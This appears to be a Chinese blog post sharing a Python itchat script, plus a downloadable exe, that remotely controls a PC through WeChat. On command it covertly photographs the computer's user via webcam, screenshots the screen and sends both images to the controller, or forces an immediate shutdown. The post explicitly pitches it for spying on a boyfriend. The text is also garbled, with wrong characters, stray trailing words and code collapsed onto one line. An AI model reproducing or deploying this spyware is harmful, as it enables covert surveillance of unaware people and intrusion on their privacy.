今天給你們介紹一個實用又具有惡搞能力的python程序。python
興趣是最好的老師,我爲何在寫python,很大一部分緣由是由於python能寫出不少有意思好玩的東西。微信
咱們先看下這個程序能實現什麼樣的效果。ide
這個程序目前主要有兩個功能,一個是攝像頭拍照和電腦屏幕截圖,回覆數字 1 便可控制電腦打開攝像頭自動爲電腦使用者拍照,同時能夠自動截取當前電腦屏幕,而且會把兩張圖片發送到你的微信上,這樣就能夠看到你的電腦使用者(能夠是男友)在幹什麼了。還有一個實用功能就是電腦關機,回覆數字 2 便可強制電腦當即關機,關於這個功能你們要慎用,具體使用場景你們能夠自由發揮,但由此帶來的不良後果本程序概不負責哈,特此聲明。spa
不知道你們有沒有感受到很神奇,對我來講這就是python的魅力所在,下面再來簡單說下這個python程序的實現原理。這個程序主要是利用了一個python第三方庫itchat,itchat是一個關於微信操做的庫,不少微信機器人都用了相似的庫,itchat能把微信用戶輸入的東西傳給這個python程序,而後這個python程序接收到微信用戶信息後再對我們的電腦執行相應的命令,這就是這個python程序的實現流程。code
其實這個程序的代碼也很簡單,下面是這個python程序的源碼,固然,爲了讓你們能快速體驗這個python程序,我特地將python程序打包成了一個可直接運行的程序,你們在公衆號後臺回覆 002 便可下載該程序,下載到電腦後,直接雙擊便可運行,運行後會彈出微信登陸二維碼,你們可放心掃碼登陸便可,登陸成功後便可在微信上控制電腦了。blog
import itchatimport osimport timeimport cv2from PIL import ImageGrabsendMsg = u"{消息助手}:暫時沒法回覆"usageMsg = u"使用方法:\n回覆 1 電腦屏幕自動截圖和給電腦使用者拍照,而且發送照片到微信。\n" \ u"回覆 2 電腦關機 \n" flag = 0 #消息助手開關nowTime = time.localtime()filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"myfile = open(filename, 'w')@itchat.msg_register('Text')def text_reply(msg): global flag message = msg['Text'] fromName = msg['FromUserName'] toName = msg['ToUserName'] if toName == "filehelper": if message == "1": cap = cv2.VideoCapture(0) ret, img = cap.read() cv2.imwrite("weixinTemp.jpg", img) itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper') cap.release() #電腦屏幕截圖 screen = ImageGrab.grab() screen.save('./screenShot.png','png') itchat.send('@img@%s'%u'screenShot.png', 'filehelper') if message == "2": os.system('shutdown -s -t 0') elif flag == 1: itchat.send(sendMsg, fromName) myfile.write(message) myfile.write("\n") myfile.flush()if __name__ == '__main__': itchat.auto_login() itchat.send(usageMsg, "filehelper") itchat.run()
在公衆號後臺回覆 【002】 便可下載可直接執行的程序,程序名字叫wechatControl.exe。圖片